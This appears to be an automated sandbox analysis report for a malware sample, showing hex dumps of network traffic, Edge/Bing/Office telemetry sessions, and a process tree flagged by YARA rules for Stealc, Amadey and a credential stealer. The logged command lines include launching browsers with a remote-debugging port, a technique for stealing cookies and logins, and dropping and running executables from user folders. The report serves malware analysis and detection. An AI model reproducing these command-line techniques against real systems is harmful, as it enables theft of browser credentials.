54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-09 21:09:49 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-09 21:09:49 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-09 21:09:49 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-09 21:09:49 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-09 21:09:49 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-09 21:09:50 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-09 21:09:50 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-09 21:09:50 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49929	23.198.7.168	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:49 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:49 UTC	2234	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 Cache-Control: private X-EventID: 672fcf9de63c457db9c3950fcf4e2a71 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy: script-src https: 'strict-dynamic' 'report-sample' 'wasm-unsafe-eval' 'nonce-xrLMFasFMB4Rb6A+HlHo1qXvTSgkiNn3DW9/2wLjwTc='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Sat, 09 Nov 2024 21:09:49 GMT Connection: close Set-Cookie: MUID=382FD04E06EB60042ED6C57C072261FF; domain=.bing.com; expires=Thu, 04-Dec-2025 21:09:49 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=382FD04E06EB60042ED6C57C072261FF; expires=Thu, 04-Dec-2025 21:09:49 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=2ADB8897D5D86C7A1B119DA5D4116DBE; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Thu, 04-Dec-2025 21:09:49 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Mon, 09-Nov-2026 21:09:49 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Mon, 09-Nov-2026 21:09:49 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=8F08B70325C348BEAF7B2B386750B8ED&dmnchg=1; domain=.bing.com; expires=Mon, 09-Nov-2026 21:09:49 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20241109; domain=.bing.com; expires=Mon, 09-Nov-2026 21:09:49 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Mon, 09-Nov-2026 21:09:49 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=2ADB8897D5D86C7A1B119DA5D4116DBE; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.ab3a2f17.1731186589.158beb2d

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:49 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:49 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:49 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fe4e74db-301e-003f-25bc-2c266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210949Z-16547b76f7f9rdn9hC1DFWfk7s0000000br00000000056v4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:49 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Target ID:	0
Start time:	16:09:10
Start date:	09/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb20000
File size:	1'832'960 bytes
MD5 hash:	1364833E77A5703BE6D3C537778B17BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2599848202.0000000000B21000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2088034499.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2601119957.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:09:22
Start date:	09/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:09:24
Start date:	09/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2188,i,11971315861859452185,10577114288193225455,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:09:32
Start date:	09/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:09:33
Start date:	09/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,1445881539410520989,17626982069189835471,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:09:33
Start date:	09/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:09:33
Start date:	09/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2740 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:09:37
Start date:	09/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6716 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:09:37
Start date:	09/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6888 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:10:01
Start date:	09/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDAEBGCAAE.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:10:01
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:10:01
Start date:	09/11/2024
Path:	C:\Users\user\DocumentsIDAEBGCAAE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIDAEBGCAAE.exe"
Imagebase:	0xfe0000
File size:	3'284'992 bytes
MD5 hash:	7D3770199321763F29A3FBB8FEC22486
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2689803559.0000000000FE1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:10:05
Start date:	09/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x560000
File size:	3'284'992 bytes
MD5 hash:	7D3770199321763F29A3FBB8FEC22486
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2686967034.0000000000561000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:10:08
Start date:	09/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x560000
File size:	3'284'992 bytes
MD5 hash:	7D3770199321763F29A3FBB8FEC22486
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2717079854.0000000000561000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:10:33
Start date:	09/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6956 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	16:11:00
Start date:	09/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x560000
File size:	3'284'992 bytes
MD5 hash:	7D3770199321763F29A3FBB8FEC22486
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3317258522.0000000000561000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6535A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
